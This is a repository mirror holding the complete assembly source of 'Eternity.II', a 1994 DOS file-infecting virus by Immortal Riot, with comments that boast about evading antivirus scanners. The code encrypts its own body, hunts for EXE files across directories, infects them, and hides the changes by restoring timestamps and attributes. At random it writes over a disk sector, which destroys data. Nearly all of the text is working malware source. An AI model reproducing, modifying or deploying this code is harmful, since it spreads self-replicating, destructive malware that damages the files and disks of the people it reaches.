mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2026-06-15 15:29:23 +00:00
vxunderground
276 lines
6.0 KiB
NASM
276 lines
6.0 KiB
NASM
; -Eternity.II-
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; "Created by Immortal Riot's destructive development team"
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; (c) '94 The Unforgiven/Immortal Riot
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;
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; "If this virus survive into eternity, I'll live forever"
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; or
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; "Nothing last forever"
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;
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; Notes:
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; F-Prot, Scan, TBAV, Findviru, can't find shits of this virus.
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;
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; Disclaimer:
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; If this virus harms your computer and you kill yourself,
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; I'll not attend on nor pay for your funeral.
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;
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; Dedication:
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; I dedicate this virus to all members of Dia Psalma for all
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; the ideoligical inspiration I've gained from listening on
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; their music as well as talking with them.
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.model tiny
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.radix 16
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.code
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Virus_Lenght EQU Virus_End-Virus_Start
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org 100
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Virus_Start:
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xchg ax, ax ; A nop to fill out the virus
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mov ax,0fa01h ; to be exactly 600 bytes!
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mov dx,5945h
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int 16h
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call Get_delta ; Get the delta-offset!
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Get_delta:
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pop bp
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sub bp,Get_Delta-Virus_Start
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call encrypt_decrypt ; Decrypt the virus
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jmp short encryption_start ; then continue..
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write_virus:
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call encrypt_decrypt ; Encrypt the virus
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mov ah,40
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mov cx,Virus_Lenght
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mov dx,bp
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int 21
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call encrypt_decrypt ; Decrypt it again
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ret
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encryption_value dw 0
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encrypt_decrypt:
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lea si,cs:[bp+encryption_start-virus_start]
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mov cx,(end_of_virus-encryption_start+1)/2
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mov dx,word ptr cs:[bp+encryption_value-virus_start]
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Xor_LoopY:
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xor word ptr cs:[si],dx
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inc si
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inc si
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loop Xor_LoopY
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ret
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encryption_start: ; Heuristic, beat this!
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mov ax,es
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add ax,10
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add ax,cs:[bp+Exe_header-Virus_Start+16]
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push ax
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push cs:[bp+Exe_header-Virus_Start+14]
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push ds
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push cs
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pop ds
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mov ah,1a ; Set the DTA
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lea dx,[bp+Own_dta-virus_start]
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int 21
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One_Percent:
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mov ah,2ch ; 1%
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int 21h
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cmp dl,0
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jne get_drive
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Cruel: ; God what I hate that
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mov al,2h ; eskimoe!
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mov cx,1
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lea bx,v_name
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cwd
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int 26h
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Get_drive: ; Current drive
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mov ah,19h
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int 21h
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cmp al,2 ; A: or B:?
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jae get_dir
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jmp restore_dir ; Yep, then don't infect
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; other files that run!
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Get_Dir:
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mov ah,47
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xor dl,dl
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lea si,[bp+dir-virus_start]
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int 21
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Di_Counter:
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xor di,di ; Infection counter=0
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; will be inc after each infection!
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_4EH:
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mov ah,4e ; Bummer..
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Loop_Files:
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lea dx,[bp+file_match-virus_start]
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int 21
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jnc clear_attribs ; We did find a file!
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; Happy Happy, joy joy!
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Dot_Dott:
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lea dx,[bp+dot_dot-virus_start] ; Ah, the same old
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mov ah,3bh ; dot-dot-routine again!
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int 21h
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jnc not_root ; No error!
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jmp no_victim_found ; No more files in ..
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not_root:
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mov ah,4e ; Find first file
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jmp short Loop_Files ; in the new directory
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Clear_attribs: ; Clear file-attrib
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mov ax,4301h
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xor cx,cx
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lea dx,[bp+own_dta-virus_start+1eh] ; 1eh=filename in DTA-aera
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int 21h
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Open_File:
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mov ax,3d02 ; Open file in read/write mode
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mov dx,Own_dta-Virus_Start+1e ; Yep, it's still 1eh in DTA!
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add dx,bp ; bummer!
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int 21
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jnc read_File ; No error, then read the file!
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jmp cant_open_file ; Hrm?!
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v_name db "Eternity_II" ; Virus name!
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Read_File:
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xchg ax,bx ;File handle in bx
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mov ah,3f ;Read file - 28 bytes
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mov cx,1c ;to EXE_header (1ch)
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lea dx,[bp+exe_header-virus_start]
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int 21
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jnc no_error ; It worked (duh)
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jmp read_error ; Hrm?!
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no_error:
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cmp byte ptr ds:[bp+Exe_header-Virus_Start],'M'
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jnz no_exe
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cmp word ptr ds:[bp+Exe_header-Virus_Start+12],'RI'
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jz infected
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mov al,2 ; File pointer
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call F_Ptr ; to end of file
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push dx
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push ax
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Random:
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mov ah,2ch ; Yah. Nearly polymorfic?
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int 21h ; Oh well :-).
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add dl,dh
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jz random
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mov word ptr cs:[bp+encryption_value-virus_start],dx
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call write_virus ; Write encrypted copy
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mov al,2 ; File pointer to end of file
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Call F_Ptr
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mov cx,200 ; bummer..
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div cx
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inc ax
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mov word ptr ds:[Exe_header-Virus_Start+2+bp],dx
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mov word ptr ds:[Exe_header-Virus_Start+4+bp],ax
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pop ax
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pop dx
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mov cx,10
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div cx
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sub ax,word ptr ds:[Exe_header-Virus_Start+8+bp]
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mov word ptr ds:[Exe_header-Virus_Start+16+bp],ax
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mov word ptr ds:[Exe_header-Virus_Start+14+bp],dx
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mov word ptr ds:[Exe_header-Virus_Start+12+bp],'RI'
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mov al,0 ; File pointer to top of file
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call F_Ptr
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mov ah,40 ; Write header
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mov cx,1c
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lea dx,[bp+exe_header-virus_start]
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int 21
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jc write_error ; Hrm!?
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no_exe:
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jmp short Restore_Time_Date
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infected: ; Decrease infection counter
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dec di ; with one
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Restore_Time_Date: ; Nearly stealth?
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lea si,[bp+own_dta-virus_start+16h] ; Oh well :-).
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mov cx,word ptr [si]
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mov dx,word ptr [si+2]
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mov ax,5701h
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int 21h
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Close_File: ; Close the file
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mov ah,3e
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int 21
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Set_Back_Attribs: ; Stealth-bomber!
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mov ax,4301h
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xor ch,ch
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lea bx,[bp+own_dta-virus_start+15h]
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mov cl,[bx]
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lea dx,[bp+own_dta-virus_start+1eh]
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int 21h
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Sick_or_EXE:
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mov ah,4f ; 4fh=find next file
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inc di
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cmp di,3 ; Infected three files?
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jae finnished_infection ; Yep!
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jmp Loop_Files ; Nah!
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F_Ptr: ; Since we're using
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mov ah,42 ; this routine
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xor cx,cx ; three times,
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cwd ; calling this
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int 21 ; will save us
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ret ; some bytes
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write_error: ; For no use in this virus,
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read_error: ; but if something screws
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cant_open_file: ; up, add 09/i21h functions,
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no_victim_found: ; and test what didn't work.
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finnished_infection: ;
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Restore_Dir: ; More stealth..
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lea dx,[bp+dir-virus_start]
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mov ah,3bh
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int 21
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quit: ; Return to original program
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pop ds
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retf
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groupdb db "(c) '94 The Unforgiven/Immortal Riot" ; That's moi..
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dot_dot db '..',0 ; Another directory
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file_match db '*.EXE',0 ; Infect ‚m all!
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Exe_header db 16 DUP(0)
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dw 0fff0
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db 4 DUP(0)
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Own_Dta db 02bh DUP(0)
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dir db 65 dup (?) ; Really really stupid!
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Virus_End EQU $
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end_of_virus:
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end Virus_Start |